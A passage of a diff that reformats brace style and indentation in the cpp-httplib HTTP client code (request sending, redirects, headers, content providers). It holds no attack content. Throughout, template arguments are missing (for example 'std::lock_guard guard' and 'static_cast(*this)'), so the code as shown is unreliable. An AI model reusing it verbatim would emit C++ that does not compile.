(.*?))?\r\n"); #endif - std::cmatch m; - if (!std::regex_match(line_reader.ptr(), m, re)) { - return req.method == "CONNECT"; - } - res.version = std::string(m[1]); - res.status = std::stoi(std::string(m[2])); - res.reason = std::string(m[3]); - - // Ignore '100 Continue' - while (res.status == StatusCode::Continue_100) { - if (!line_reader.getline()) { return false; } // CRLF - if (!line_reader.getline()) { return false; } // next response line - - if (!std::regex_match(line_reader.ptr(), m, re)) { return false; } + std::cmatch m; + if (!std::regex_match(line_reader.ptr(), m, re)) { + return req.method == "CONNECT"; + } res.version = std::string(m[1]); res.status = std::stoi(std::string(m[2])); res.reason = std::string(m[3]); - } - return true; -} - -inline bool ClientImpl::send(Request &req, Response &res, Error &error) { - std::lock_guard request_mutex_guard(request_mutex_); - auto ret = send_(req, res, error); - if (error == Error::SSLPeerCouldBeClosed_) { - assert(!ret); - ret = send_(req, res, error); - } - return ret; -} - -inline bool ClientImpl::send_(Request &req, Response &res, Error &error) { - { - std::lock_guard guard(socket_mutex_); - - // Set this to false immediately - if it ever gets set to true by the end of - // the request, we know another thread instructed us to close the socket. - socket_should_be_closed_when_request_is_done_ = false; - - auto is_alive = false; - if (socket_.is_open()) { - is_alive = detail::is_socket_alive(socket_.sock); - if (!is_alive) { - // Attempt to avoid sigpipe by shutting down nongracefully if it seems - // like the other side has already closed the connection Also, there - // cannot be any requests in flight from other threads since we locked - // request_mutex_, so safe to close everything immediately - const bool shutdown_gracefully = false; - shutdown_ssl(socket_, shutdown_gracefully); - shutdown_socket(socket_); - close_socket(socket_); - } - } - - if (!is_alive) { - if (!create_and_connect_socket(socket_, error)) { return false; } - -#ifdef CPPHTTPLIB_OPENSSL_SUPPORT - // TODO: refactoring - if (is_ssl()) { - auto &scli = static_cast(*this); - if (!proxy_host_.empty() && proxy_port_ != -1) { - auto success = false; - if (!scli.connect_with_proxy(socket_, res, success, error)) { - return success; - } + // Ignore '100 Continue' + while (res.status == StatusCode::Continue_100) { + if (!line_reader.getline()) { + return false; // CRLF + } + if (!line_reader.getline()) { + return false; // next response line } - if (!scli.initialize_ssl(socket_, error)) { return false; } - } + if (!std::regex_match(line_reader.ptr(), m, re)) { + return false; + } + res.version = std::string(m[1]); + res.status = std::stoi(std::string(m[2])); + res.reason = std::string(m[3]); + } + + return true; +} + +inline bool ClientImpl::send(Request &req, Response &res, Error &error) +{ + std::lock_guard request_mutex_guard(request_mutex_); + auto ret = send_(req, res, error); + if (error == Error::SSLPeerCouldBeClosed_) { + assert(!ret); + ret = send_(req, res, error); + } + return ret; +} + +inline bool ClientImpl::send_(Request &req, Response &res, Error &error) +{ + { + std::lock_guard guard(socket_mutex_); + + // Set this to false immediately - if it ever gets set to true by the end of + // the request, we know another thread instructed us to close the socket. + socket_should_be_closed_when_request_is_done_ = false; + + auto is_alive = false; + if (socket_.is_open()) { + is_alive = detail::is_socket_alive(socket_.sock); + if (!is_alive) { + // Attempt to avoid sigpipe by shutting down nongracefully if it seems + // like the other side has already closed the connection Also, there + // cannot be any requests in flight from other threads since we locked + // request_mutex_, so safe to close everything immediately + const bool shutdown_gracefully = false; + shutdown_ssl(socket_, shutdown_gracefully); + shutdown_socket(socket_); + close_socket(socket_); + } + } + + if (!is_alive) { + if (!create_and_connect_socket(socket_, error)) { + return false; + } + +#ifdef CPPHTTPLIB_OPENSSL_SUPPORT + // TODO: refactoring + if (is_ssl()) { + auto &scli = static_cast(*this); + if (!proxy_host_.empty() && proxy_port_ != -1) { + auto success = false; + if (!scli.connect_with_proxy(socket_, res, success, error)) { + return success; + } + } + + if (!scli.initialize_ssl(socket_, error)) { + return false; + } + } #endif + } + + // Mark the current socket as being in use so that it cannot be closed by + // anyone else while this request is ongoing, even though we will be + // releasing the mutex. + if (socket_requests_in_flight_ > 1) { + assert(socket_requests_are_from_thread_ == std::this_thread::get_id()); + } + socket_requests_in_flight_ += 1; + socket_requests_are_from_thread_ = std::this_thread::get_id(); } - // Mark the current socket as being in use so that it cannot be closed by - // anyone else while this request is ongoing, even though we will be - // releasing the mutex. - if (socket_requests_in_flight_ > 1) { - assert(socket_requests_are_from_thread_ == std::this_thread::get_id()); - } - socket_requests_in_flight_ += 1; - socket_requests_are_from_thread_ = std::this_thread::get_id(); - } - - for (const auto &header : default_headers_) { - if (req.headers.find(header.first) == req.headers.end()) { - req.headers.insert(header); - } - } - - auto ret = false; - auto close_connection = !keep_alive_; - - auto se = detail::scope_exit([&]() { - // Briefly lock mutex in order to mark that a request is no longer ongoing - std::lock_guard guard(socket_mutex_); - socket_requests_in_flight_ -= 1; - if (socket_requests_in_flight_ <= 0) { - assert(socket_requests_in_flight_ == 0); - socket_requests_are_from_thread_ = std::thread::id(); + for (const auto &header : default_headers_) { + if (req.headers.find(header.first) == req.headers.end()) { + req.headers.insert(header); + } } - if (socket_should_be_closed_when_request_is_done_ || close_connection || - !ret) { - shutdown_ssl(socket_, true); - shutdown_socket(socket_); - close_socket(socket_); + auto ret = false; + auto close_connection = !keep_alive_; + + auto se = detail::scope_exit([&]() { + // Briefly lock mutex in order to mark that a request is no longer ongoing + std::lock_guard guard(socket_mutex_); + socket_requests_in_flight_ -= 1; + if (socket_requests_in_flight_ <= 0) { + assert(socket_requests_in_flight_ == 0); + socket_requests_are_from_thread_ = std::thread::id(); + } + + if (socket_should_be_closed_when_request_is_done_ || close_connection || + !ret) { + shutdown_ssl(socket_, true); + shutdown_socket(socket_); + close_socket(socket_); + } + }); + + ret = process_socket(socket_, [&](Stream &strm) { + return handle_request(strm, req, res, close_connection, error); + }); + + if (!ret) { + if (error == Error::Success) { + error = Error::Unknown; + } } - }); - ret = process_socket(socket_, [&](Stream &strm) { - return handle_request(strm, req, res, close_connection, error); - }); - - if (!ret) { - if (error == Error::Success) { error = Error::Unknown; } - } - - return ret; + return ret; } -inline Result ClientImpl::send(const Request &req) { - auto req2 = req; - return send_(std::move(req2)); +inline Result ClientImpl::send(const Request &req) +{ + auto req2 = req; + return send_(std::move(req2)); } -inline Result ClientImpl::send_(Request &&req) { - auto res = detail::make_unique(); - auto error = Error::Success; - auto ret = send(req, *res, error); - return Result{ret ? std::move(res) : nullptr, error, std::move(req.headers)}; +inline Result ClientImpl::send_(Request &&req) +{ + auto res = detail::make_unique(); + auto error = Error::Success; + auto ret = send(req, *res, error); + return Result{ret ? std::move(res) : nullptr, error, std::move(req.headers)}; } inline bool ClientImpl::handle_request(Stream &strm, Request &req, Response &res, bool close_connection, - Error &error) { - if (req.path.empty()) { - error = Error::Connection; - return false; - } + Error &error) +{ + if (req.path.empty()) { + error = Error::Connection; + return false; + } - auto req_save = req; + auto req_save = req; - bool ret; + bool ret; - if (!is_ssl() && !proxy_host_.empty() && proxy_port_ != -1) { - auto req2 = req; - req2.path = "http://" + host_and_port_ + req.path; - ret = process_request(strm, req2, res, close_connection, error); - req = req2; - req.path = req_save.path; - } else { - ret = process_request(strm, req, res, close_connection, error); - } + if (!is_ssl() && !proxy_host_.empty() && proxy_port_ != -1) { + auto req2 = req; + req2.path = "http://" + host_and_port_ + req.path; + ret = process_request(strm, req2, res, close_connection, error); + req = req2; + req.path = req_save.path; + } else { + ret = process_request(strm, req, res, close_connection, error); + } - if (!ret) { return false; } + if (!ret) { + return false; + } - if (res.get_header_value("Connection") == "close" || - (res.version == "HTTP/1.0" && res.reason != "Connection established")) { - // TODO this requires a not-entirely-obvious chain of calls to be correct - // for this to be safe. + if (res.get_header_value("Connection") == "close" || + (res.version == "HTTP/1.0" && res.reason != "Connection established")) { + // TODO this requires a not-entirely-obvious chain of calls to be correct + // for this to be safe. - // This is safe to call because handle_request is only called by send_ - // which locks the request mutex during the process. It would be a bug - // to call it from a different thread since it's a thread-safety issue - // to do these things to the socket if another thread is using the socket. - std::lock_guard guard(socket_mutex_); - shutdown_ssl(socket_, true); - shutdown_socket(socket_); - close_socket(socket_); - } + // This is safe to call because handle_request is only called by send_ + // which locks the request mutex during the process. It would be a bug + // to call it from a different thread since it's a thread-safety issue + // to do these things to the socket if another thread is using the socket. + std::lock_guard guard(socket_mutex_); + shutdown_ssl(socket_, true); + shutdown_socket(socket_); + close_socket(socket_); + } - if (300 < res.status && res.status < 400 && follow_location_) { - req = req_save; - ret = redirect(req, res, error); - } + if (300 < res.status && res.status < 400 && follow_location_) { + req = req_save; + ret = redirect(req, res, error); + } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - if ((res.status == StatusCode::Unauthorized_401 || - res.status == StatusCode::ProxyAuthenticationRequired_407) && - req.authorization_count_ < 5) { - auto is_proxy = res.status == StatusCode::ProxyAuthenticationRequired_407; - const auto &username = - is_proxy ? proxy_digest_auth_username_ : digest_auth_username_; - const auto &password = - is_proxy ? proxy_digest_auth_password_ : digest_auth_password_; + if ((res.status == StatusCode::Unauthorized_401 || + res.status == StatusCode::ProxyAuthenticationRequired_407) && + req.authorization_count_ < 5) { + auto is_proxy = res.status == StatusCode::ProxyAuthenticationRequired_407; + const auto &username = + is_proxy ? proxy_digest_auth_username_ : digest_auth_username_; + const auto &password = + is_proxy ? proxy_digest_auth_password_ : digest_auth_password_; - if (!username.empty() && !password.empty()) { - std::map auth; - if (detail::parse_www_authenticate(res, auth, is_proxy)) { - Request new_req = req; - new_req.authorization_count_ += 1; - new_req.headers.erase(is_proxy ? "Proxy-Authorization" - : "Authorization"); - new_req.headers.insert(detail::make_digest_authentication_header( - req, auth, new_req.authorization_count_, detail::random_string(10), - username, password, is_proxy)); + if (!username.empty() && !password.empty()) { + std::map auth; + if (detail::parse_www_authenticate(res, auth, is_proxy)) { + Request new_req = req; + new_req.authorization_count_ += 1; + new_req.headers.erase(is_proxy ? "Proxy-Authorization" + : "Authorization"); + new_req.headers.insert(detail::make_digest_authentication_header( + req, auth, new_req.authorization_count_, detail::random_string(10), + username, password, is_proxy)); - Response new_res; + Response new_res; - ret = send(new_req, new_res, error); - if (ret) { res = new_res; } - } + ret = send(new_req, new_res, error); + if (ret) { + res = new_res; + } + } + } } - } #endif - return ret; + return ret; } -inline bool ClientImpl::redirect(Request &req, Response &res, Error &error) { - if (req.redirect_count_ == 0) { - error = Error::ExceedRedirectCount; - return false; - } - - auto location = res.get_header_value("location"); - if (location.empty()) { return false; } - - const static std::regex re( - R"((?:(https?):)?(?://(?:\[([\d:]+)\]|([^:/?#]+))(?::(\d+))?)?([^?#]*)(\?[^#]*)?(?:#.*)?)"); - - std::smatch m; - if (!std::regex_match(location, m, re)) { return false; } - - auto scheme = is_ssl() ? "https" : "http"; - - auto next_scheme = m[1].str(); - auto next_host = m[2].str(); - if (next_host.empty()) { next_host = m[3].str(); } - auto port_str = m[4].str(); - auto next_path = m[5].str(); - auto next_query = m[6].str(); - - auto next_port = port_; - if (!port_str.empty()) { - next_port = std::stoi(port_str); - } else if (!next_scheme.empty()) { - next_port = next_scheme == "https" ? 443 : 80; - } - - if (next_scheme.empty()) { next_scheme = scheme; } - if (next_host.empty()) { next_host = host_; } - if (next_path.empty()) { next_path = "/"; } - - auto path = detail::decode_url(next_path, true) + next_query; - - if (next_scheme == scheme && next_host == host_ && next_port == port_) { - return detail::redirect(*this, req, res, path, location, error); - } else { - if (next_scheme == "https") { -#ifdef CPPHTTPLIB_OPENSSL_SUPPORT - SSLClient cli(next_host, next_port); - cli.copy_settings(*this); - if (ca_cert_store_) { cli.set_ca_cert_store(ca_cert_store_); } - return detail::redirect(cli, req, res, path, location, error); -#else - return false; -#endif - } else { - ClientImpl cli(next_host, next_port); - cli.copy_settings(*this); - return detail::redirect(cli, req, res, path, location, error); +inline bool ClientImpl::redirect(Request &req, Response &res, Error &error) +{ + if (req.redirect_count_ == 0) { + error = Error::ExceedRedirectCount; + return false; + } + + auto location = res.get_header_value("location"); + if (location.empty()) { + return false; + } + + const static std::regex re( + R"((?:(https?):)?(?://(?:\[([\d:]+)\]|([^:/?#]+))(?::(\d+))?)?([^?#]*)(\?[^#]*)?(?:#.*)?)"); + + std::smatch m; + if (!std::regex_match(location, m, re)) { + return false; + } + + auto scheme = is_ssl() ? "https" : "http"; + + auto next_scheme = m[1].str(); + auto next_host = m[2].str(); + if (next_host.empty()) { + next_host = m[3].str(); + } + auto port_str = m[4].str(); + auto next_path = m[5].str(); + auto next_query = m[6].str(); + + auto next_port = port_; + if (!port_str.empty()) { + next_port = std::stoi(port_str); + } else if (!next_scheme.empty()) { + next_port = next_scheme == "https" ? 443 : 80; + } + + if (next_scheme.empty()) { + next_scheme = scheme; + } + if (next_host.empty()) { + next_host = host_; + } + if (next_path.empty()) { + next_path = "/"; + } + + auto path = detail::decode_url(next_path, true) + next_query; + + if (next_scheme == scheme && next_host == host_ && next_port == port_) { + return detail::redirect(*this, req, res, path, location, error); + } else { + if (next_scheme == "https") { +#ifdef CPPHTTPLIB_OPENSSL_SUPPORT + SSLClient cli(next_host, next_port); + cli.copy_settings(*this); + if (ca_cert_store_) { + cli.set_ca_cert_store(ca_cert_store_); + } + return detail::redirect(cli, req, res, path, location, error); +#else + return false; +#endif + } else { + ClientImpl cli(next_host, next_port); + cli.copy_settings(*this); + return detail::redirect(cli, req, res, path, location, error); + } } - } } inline bool ClientImpl::write_content_with_provider(Stream &strm, - const Request &req, - Error &error) const { - auto is_shutting_down = []() { return false; }; + const Request &req, + Error &error) const +{ + auto is_shutting_down = []() { + return false; + }; - if (req.is_chunked_content_provider_) { - // TODO: Brotli support - std::unique_ptr compressor; + if (req.is_chunked_content_provider_) { + // TODO: Brotli support + std::unique_ptr compressor; #ifdef CPPHTTPLIB_ZLIB_SUPPORT - if (compress_) { - compressor = detail::make_unique(); - } else + if (compress_) { + compressor = detail::make_unique(); + } else #endif - { - compressor = detail::make_unique(); - } + { + compressor = detail::make_unique(); + } - return detail::write_content_chunked(strm, req.content_provider_, - is_shutting_down, *compressor, error); - } else { - return detail::write_content(strm, req.content_provider_, 0, - req.content_length_, is_shutting_down, error); - } + return detail::write_content_chunked(strm, req.content_provider_, + is_shutting_down, *compressor, error); + } else { + return detail::write_content(strm, req.content_provider_, 0, + req.content_length_, is_shutting_down, error); + } } inline bool ClientImpl::write_request(Stream &strm, Request &req, - bool close_connection, Error &error) { - // Prepare additional headers - if (close_connection) { - if (!req.has_header("Connection")) { - req.set_header("Connection", "close"); + bool close_connection, Error &error) +{ + // Prepare additional headers + if (close_connection) { + if (!req.has_header("Connection")) { + req.set_header("Connection", "close"); + } } - } - if (!req.has_header("Host")) { - if (is_ssl()) { - if (port_ == 443) { - req.set_header("Host", host_); - } else { - req.set_header("Host", host_and_port_); - } - } else { - if (port_ == 80) { - req.set_header("Host", host_); - } else { - req.set_header("Host", host_and_port_); - } + if (!req.has_header("Host")) { + if (is_ssl()) { + if (port_ == 443) { + req.set_header("Host", host_); + } else { + req.set_header("Host", host_and_port_); + } + } else { + if (port_ == 80) { + req.set_header("Host", host_); + } else { + req.set_header("Host", host_and_port_); + } + } } - } - if (!req.has_header("Accept")) { req.set_header("Accept", "*/*"); } + if (!req.has_header("Accept")) { + req.set_header("Accept", "*/*"); + } #ifndef CPPHTTPLIB_NO_DEFAULT_USER_AGENT - if (!req.has_header("User-Agent")) { - auto agent = std::string("cpp-httplib/") + CPPHTTPLIB_VERSION; - req.set_header("User-Agent", agent); - } + if (!req.has_header("User-Agent")) { + auto agent = std::string("cpp-httplib/") + CPPHTTPLIB_VERSION; + req.set_header("User-Agent", agent); + } #endif - if (req.body.empty()) { - if (req.content_provider_) { - if (!req.is_chunked_content_provider_) { - if (!req.has_header("Content-Length")) { - auto length = std::to_string(req.content_length_); - req.set_header("Content-Length", length); + if (req.body.empty()) { + if (req.content_provider_) { + if (!req.is_chunked_content_provider_) { + if (!req.has_header("Content-Length")) { + auto length = std::to_string(req.content_length_); + req.set_header("Content-Length", length); + } + } + } else { + if (req.method == "POST" || req.method == "PUT" || + req.method == "PATCH") { + req.set_header("Content-Length", "0"); + } } - } } else { - if (req.method == "POST" || req.method == "PUT" || - req.method == "PATCH") { - req.set_header("Content-Length", "0"); - } - } - } else { - if (!req.has_header("Content-Type")) { - req.set_header("Content-Type", "text/plain"); + if (!req.has_header("Content-Type")) { + req.set_header("Content-Type", "text/plain"); + } + + if (!req.has_header("Content-Length")) { + auto length = std::to_string(req.body.size()); + req.set_header("Content-Length", length); + } } - if (!req.has_header("Content-Length")) { - auto length = std::to_string(req.body.size()); - req.set_header("Content-Length", length); + if (!basic_auth_password_.empty() || !basic_auth_username_.empty()) { + if (!req.has_header("Authorization")) { + req.headers.insert(make_basic_authentication_header( + basic_auth_username_, basic_auth_password_, false)); + } } - } - if (!basic_auth_password_.empty() || !basic_auth_username_.empty()) { - if (!req.has_header("Authorization")) { - req.headers.insert(make_basic_authentication_header( - basic_auth_username_, basic_auth_password_, false)); + if (!proxy_basic_auth_username_.empty() && + !proxy_basic_auth_password_.empty()) { + if (!req.has_header("Proxy-Authorization")) { + req.headers.insert(make_basic_authentication_header( + proxy_basic_auth_username_, proxy_basic_auth_password_, true)); + } } - } - if (!proxy_basic_auth_username_.empty() && - !proxy_basic_auth_password_.empty()) { - if (!req.has_header("Proxy-Authorization")) { - req.headers.insert(make_basic_authentication_header( - proxy_basic_auth_username_, proxy_basic_auth_password_, true)); + if (!bearer_token_auth_token_.empty()) { + if (!req.has_header("Authorization")) { + req.headers.insert(make_bearer_token_authentication_header( + bearer_token_auth_token_, false)); + } } - } - if (!bearer_token_auth_token_.empty()) { - if (!req.has_header("Authorization")) { - req.headers.insert(make_bearer_token_authentication_header( - bearer_token_auth_token_, false)); + if (!proxy_bearer_token_auth_token_.empty()) { + if (!req.has_header("Proxy-Authorization")) { + req.headers.insert(make_bearer_token_authentication_header( + proxy_bearer_token_auth_token_, true)); + } } - } - if (!proxy_bearer_token_auth_token_.empty()) { - if (!req.has_header("Proxy-Authorization")) { - req.headers.insert(make_bearer_token_authentication_header( - proxy_bearer_token_auth_token_, true)); + // Request line and headers + { + detail::BufferStream bstrm; + + const auto &path = url_encode_ ? detail::encode_url(req.path) : req.path; + bstrm.write_format("%s %s HTTP/1.1\r\n", req.method.c_str(), path.c_str()); + + header_writer_(bstrm, req.headers); + + // Flush buffer + auto &data = bstrm.get_buffer(); + if (!detail::write_data(strm, data.data(), data.size())) { + error = Error::Write; + return false; + } } - } - // Request line and headers - { - detail::BufferStream bstrm; - - const auto &path = url_encode_ ? detail::encode_url(req.path) : req.path; - bstrm.write_format("%s %s HTTP/1.1\r\n", req.method.c_str(), path.c_str()); - - header_writer_(bstrm, req.headers); - - // Flush buffer - auto &data = bstrm.get_buffer(); - if (!detail::write_data(strm, data.data(), data.size())) { - error = Error::Write; - return false; + // Body + if (req.body.empty()) { + return write_content_with_provider(strm, req, error); } - } - // Body - if (req.body.empty()) { - return write_content_with_provider(strm, req, error); - } + if (!detail::write_data(strm, req.body.data(), req.body.size())) { + error = Error::Write; + return false; + } - if (!detail::write_data(strm, req.body.data(), req.body.size())) { - error = Error::Write; - return false; - } - - return true; + return true; } inline std::unique_ptr ClientImpl::send_with_content_provider( Request &req, const char *body, size_t content_length, ContentProvider content_provider, ContentProviderWithoutLength content_provider_without_length, - const std::string &content_type, Error &error) { - if (!content_type.empty()) { req.set_header("Content-Type", content_type); } + const std::string &content_type, Error &error) +{ + if (!content_type.empty()) { + req.set_header("Content-Type", content_type); + } #ifdef CPPHTTPLIB_ZLIB_SUPPORT - if (compress_) { req.set_header("Content-Encoding", "gzip"); } + if (compress_) { + req.set_header("Content-Encoding", "gzip"); + } #endif #ifdef CPPHTTPLIB_ZLIB_SUPPORT - if (compress_ && !content_provider_without_length) { - // TODO: Brotli support - detail::gzip_compressor compressor; + if (compress_ && !content_provider_without_length) { + // TODO: Brotli support + detail::gzip_compressor compressor; - if (content_provider) { - auto ok = true; - size_t offset = 0; - DataSink data_sink; + if (content_provider) { + auto ok = true; + size_t offset = 0; + DataSink data_sink; - data_sink.write = [&](const char *data, size_t data_len) -> bool { - if (ok) { - auto last = offset + data_len == content_length; + data_sink.write = [&](const char *data, size_t data_len) -> bool { + if (ok) + { + auto last = offset + data_len == content_length; - auto ret = compressor.compress( - data, data_len, last, - [&](const char *compressed_data, size_t compressed_data_len) { - req.body.append(compressed_data, compressed_data_len); + auto ret = compressor.compress( + data, data_len, last, + [&](const char *compressed_data, size_t compressed_data_len) { + req.body.append(compressed_data, compressed_data_len); + return true; + }); + + if (ret) { + offset += data_len; + } else { + ok = false; + } + } + return ok; + }; + + while (ok && offset < content_length) { + if (!content_provider(offset, content_length - offset, data_sink)) { + error = Error::Canceled; + return nullptr; + } + } + } else { + if (!compressor.compress(body, content_length, true, + [&](const char *data, size_t data_len) { + req.body.append(data, data_len); return true; - }); - - if (ret) { - offset += data_len; - } else { - ok = false; - } + })) { + error = Error::Compression; + return nullptr; + } } - return ok; - }; - - while (ok && offset < content_length) { - if (!content_provider(offset, content_length - offset, data_sink)) { - error = Error::Canceled; - return nullptr; - } - } - } else { - if (!compressor.compress(body, content_length, true, - [&](const char *data, size_t data_len) { - req.body.append(data, data_len); - return true; - })) { - error = Error::Compression; - return nullptr; - } - } - } else + } else #endif - { - if (content_provider) { - req.content_length_ = content_length; - req.content_provider_ = std::move(content_provider); - req.is_chunked_content_provider_ = false; - } else if (content_provider_without_length) { - req.content_length_ = 0; - req.content_provider_ = detail::ContentProviderAdapter( - std::move(content_provider_without_length)); - req.is_chunked_content_provider_ = true; - req.set_header("Transfer-Encoding", "chunked"); - } else { - req.body.assign(body, content_length); + { + if (content_provider) { + req.content_length_ = content_length; + req.content_provider_ = std::move(content_provider); + req.is_chunked_content_provider_ = false; + } else if (content_provider_without_length) { + req.content_length_ = 0; + req.content_provider_ = detail::ContentProviderAdapter( + std::move(content_provider_without_length)); + req.is_chunked_content_provider_ = true; + req.set_header("Transfer-Encoding", "chunked"); + } else { + req.body.assign(body, content_length); + } } - } - auto res = detail::make_unique(); - return send(req, *res, error) ? std::move(res) : nullptr; + auto res = detail::make_unique(); + return send(req, *res, error) ? std::move(res) : nullptr; } inline Result ClientImpl::send_with_content_provider( const std::string &method, const std::string &path, const Headers &headers, const char *body, size_t content_length, ContentProvider content_provider, ContentProviderWithoutLength content_provider_without_length, - const std::string &content_type) { - Request req; - req.method = method; - req.headers = headers; - req.path = path; + const std::string &content_type) +{ + Request req; + req.method = method; + req.headers = headers; + req.path = path; - auto error = Error::Success; + auto error = Error::Success; - auto res = send_with_content_provider( - req, body, content_length, std::move(content_provider), - std::move(content_provider_without_length), content_type, error); + auto res = send_with_content_provider( + req, body, content_length, std::move(content_provider), + std::move(content_provider_without_length), content_type, error); - return Result{std::move(res), error, std::move(req.headers)}; + return Result{std::move(res), error, std::move(req.headers)}; } inline std::string -ClientImpl::adjust_host_string(const std::string &host) const { - if (host.find(':') != std::string::npos) { return "[" + host + "]"; } - return host; +ClientImpl::adjust_host_string(const std::string &host) const +{ + if (host.find(':') != std::string::npos) { + return "[" + host + "]"; + } + return host; } inline bool ClientImpl::process_request(Stream &strm, Request &req, Response &res, bool close_connection, - Error &error) { - // Send request - if (!write_request(strm, req, close_connection, error)) { return false; } + Error &error) +{ + // Send request + if (!write_request(strm, req, close_connection, error)) { + return false; + } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - if (is_ssl()) { - auto is_proxy_enabled = !proxy_host_.empty() && proxy_port_ != -1; - if (!is_proxy_enabled) { - char buf[1]; - if (SSL_peek(socket_.ssl, buf, 1) == 0 && - SSL_get_error(socket_.ssl, 0) == SSL_ERROR_ZERO_RETURN) { - error = Error::SSLPeerCouldBeClosed_; - return false; - } + if (is_ssl()) { + auto is_proxy_enabled = !proxy_host_.empty() && proxy_port_ != -1; + if (!is_proxy_enabled) { + char buf[1]; + if (SSL_peek(socket_.ssl, buf, 1) == 0 && + SSL_get_error(socket_.ssl, 0) == SSL_ERROR_ZERO_RETURN) { + error = Error::SSLPeerCouldBeClosed_; + return false; + } + } } - } #endif - // Receive response and headers - if (!read_response_line(strm, req, res) || - !detail::read_headers(strm, res.headers)) { - error = Error::Read; - return false; - } - - // Body - if ((res.status != StatusCode::NoContent_204) && req.method != "HEAD" && - req.method != "CONNECT") { - auto redirect = 300 < res.status && res.status < 400 && follow_location_; - - if (req.response_handler && !redirect) { - if (!req.response_handler(res)) { - error = Error::Canceled; + // Receive response and headers + if (!read_response_line(strm, req, res) || + !detail::read_headers(strm, res.headers)) { + error = Error::Read; return false; - } } - auto out = - req.content_receiver + // Body + if ((res.status != StatusCode::NoContent_204) && req.method != "HEAD" && + req.method != "CONNECT") { + auto redirect = 300 < res.status && res.status < 400 && follow_location_; + + if (req.response_handler && !redirect) { + if (!req.response_handler(res)) { + error = Error::Canceled; + return false; + } + } + + auto out = + req.content_receiver ? static_cast( - [&](const char *buf, size_t n, uint64_t off, uint64_t len) { - if (redirect) { return true; } - auto ret = req.content_receiver(buf, n, off, len); - if (!ret) { error = Error::Canceled; } - return ret; - }) + [&](const char *buf, size_t n, uint64_t off, uint64_t len) { + if (redirect) { + return true; + } + auto ret = req.content_receiver(buf, n, off, len); + if (!ret) { + error = Error::Canceled; + } + return ret; + }) : static_cast( [&](const char *buf, size_t n, uint64_t /*off*/, uint64_t /*len*/) { - if (res.body.size() + n > res.body.max_size()) { - return false; - } - res.body.append(buf, n); - return true; - }); + if (res.body.size() + n > res.body.max_size()) { + return false; + } + res.body.append(buf, n); + return true; + }); - auto progress = [&](uint64_t current, uint64_t total) { - if (!req.progress || redirect) { return true; } - auto ret = req.progress(current, total); - if (!ret) { error = Error::Canceled; } - return ret; - }; + auto progress = [&](uint64_t current, uint64_t total) { + if (!req.progress || redirect) { + return true; + } + auto ret = req.progress(current, total); + if (!ret) { + error = Error::Canceled; + } + return ret; + }; - int dummy_status; - if (!detail::read_content(strm, res, (std::numeric_limits::max)(), - dummy_status, std::move(progress), std::move(out), - decompress_)) { - if (error != Error::Canceled) { error = Error::Read; } - return false; + int dummy_status; + if (!detail::read_content(strm, res, (std::numeric_limits::max)(), + dummy_status, std::move(progress), std::move(out), + decompress_)) { + if (error != Error::Canceled) { + error = Error::Read; + } + return false; + } } - } - // Log - if (logger_) { logger_(req, res); } + // Log + if (logger_) { + logger_(req, res); + } - return true; + return true; } inline ContentProviderWithoutLength ClientImpl::get_multipart_content_provider( const std::string &boundary, const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items) const { - size_t cur_item = 0; - size_t cur_start = 0; - // cur_item and cur_start are copied to within the std::function and maintain - // state between successive calls - return [&, cur_item, cur_start](size_t offset, - DataSink &sink) mutable -> bool { - if (!offset && !items.empty()) { - sink.os << detail::serialize_multipart_formdata(items, boundary, false); - return true; - } else if (cur_item < provider_items.size()) { - if (!cur_start) { - const auto &begin = detail::serialize_multipart_formdata_item_begin( - provider_items[cur_item], boundary); - offset += begin.size(); - cur_start = offset; - sink.os << begin; - } + const MultipartFormDataProviderItems &provider_items) const +{ + size_t cur_item = 0; + size_t cur_start = 0; + // cur_item and cur_start are copied to within the std::function and maintain + // state between successive calls + return [&, cur_item, cur_start](size_t offset, + DataSink &sink) mutable -> bool { + if (!offset && !items.empty()) + { + sink.os << detail::serialize_multipart_formdata(items, boundary, false); + return true; + } else if (cur_item < provider_items.size()) + { + if (!cur_start) { + const auto &begin = detail::serialize_multipart_formdata_item_begin( + provider_items[cur_item], boundary); + offset += begin.size(); + cur_start = offset; + sink.os << begin; + } - DataSink cur_sink; - auto has_data = true; - cur_sink.write = sink.write; - cur_sink.done = [&]() { has_data = false; }; + DataSink cur_sink; + auto has_data = true; + cur_sink.write = sink.write; + cur_sink.done = [&]() { + has_data = false; + }; - if (!provider_items[cur_item].provider(offset - cur_start, cur_sink)) { - return false; - } + if (!provider_items[cur_item].provider(offset - cur_start, cur_sink)) { + return false; + } - if (!has_data) { - sink.os << detail::serialize_multipart_formdata_item_end(); - cur_item++; - cur_start = 0; - } - return true; - } else { - sink.os << detail::serialize_multipart_formdata_finish(boundary); - sink.done(); - return true; - } - }; + if (!has_data) { + sink.os << detail::serialize_multipart_formdata_item_end(); + cur_item++; + cur_start = 0; + } + return true; + } else + { + sink.os << detail::serialize_multipart_formdata_finish(boundary); + sink.done(); + return true; + } + }; } inline bool ClientImpl::process_socket(const Socket &socket, - std::function callback) { - return detail::process_client_socket( - socket.sock, read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, - write_timeout_usec_, std::move(callback)); + std::function callback) +{ + return detail::process_client_socket( + socket.sock, read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, + write_timeout_usec_, std::move(callback)); } -inline bool ClientImpl::is_ssl() const { return false; } - -inline Result ClientImpl::Get(const std::string &path) { - return Get(path, Headers(), Progress()); +inline bool ClientImpl::is_ssl() const +{ + return false; } -inline Result ClientImpl::Get(const std::string &path, Progress progress) { - return Get(path, Headers(), std::move(progress)); +inline Result ClientImpl::Get(const std::string &path) +{ + return Get(path, Headers(), Progress()); } -inline Result ClientImpl::Get(const std::string &path, const Headers &headers) { - return Get(path, headers, Progress()); +inline Result ClientImpl::Get(const std::string &path, Progress progress) +{ + return Get(path, Headers(), std::move(progress)); +} + +inline Result ClientImpl::Get(const std::string &path, const Headers &headers) +{ + return Get(path, headers, Progress()); } inline Result ClientImpl::Get(const std::string &path, const Headers &headers, - Progress progress) { - Request req; - req.method = "GET"; - req.path = path; - req.headers = headers; - req.progress = std::move(progress); + Progress progress) +{ + Request req; + req.method = "GET"; + req.path = path; + req.headers = headers; + req.progress = std::move(progress); - return send_(std::move(req)); + return send_(std::move(req)); } inline Result ClientImpl::Get(const std::string &path, - ContentReceiver content_receiver) { - return Get(path, Headers(), nullptr, std::move(content_receiver), nullptr); + ContentReceiver content_receiver) +{ + return Get(path, Headers(), nullptr, std::move(content_receiver), nullptr); } inline Result 